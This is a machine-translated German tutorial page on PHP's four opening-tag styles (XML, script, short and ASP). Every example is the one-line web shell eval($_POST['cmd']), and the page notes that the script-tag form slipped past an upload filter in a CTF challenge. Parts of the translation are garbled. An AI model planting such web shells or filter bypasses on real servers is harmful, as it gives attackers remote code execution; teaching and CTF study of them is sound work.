“; das heißt, „ ? >“ Warten."/> “; das heißt, „ ? >“ Warten.">
Heim >Backend-Entwicklung >PHP-Problem >Was sind die Logos von PHP?
Was sind die Logos von PHP?
Vier PHP-Markup-Stile
1. XML-Stil
<?php eval($_POST['cmd']); ?>
Der von PHP empfohlene Markup-Stil.
Serveradministratoren können diesen Stil nicht deaktivieren und er ist auf allen Servern verfügbar.
2. Skriptstil
<script language="php"> eval($_POST['cmd']); </script>
Es ist standardmäßig aktiviert und kann nicht deaktiviert werden
Der Autor ist einmal auf eine CTF-Frage gestoßen, die das Hochladen einer Shell erforderte, aber der Dateiinhalt war gefiltert. und php werden durch Leerzeichen ersetzt. In diesem Stil kann der Wert der Sprache entweder groß oder klein geschrieben werden, sodass Sie den folgenden Code erstellen können, um
<script language="php"> eval($_POST['cmd']); </script>
3 zu umgehen. Kurzstil
<? eval($_POST['cmd']); ?>
Dieser Stil muss in der sein Konfigurationsdatei php.ini Aktivieren Sie die Option short_open_tage in
Dieser Stil wird in vielen Umgebungen standardmäßig nicht unterstützt
4.ASP-Stil
<% eval($_POST['cmd']); %>
Dieser Stil muss in der sein Konfigurationsdatei php.ini Option „asp_tag aktivieren“
ist standardmäßig deaktiviert
Weitere PHP-bezogene Kenntnisse finden Sie auf der PHP-Chinese-Website !
Das obige ist der detaillierte Inhalt vonWas sind die Logos von PHP?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!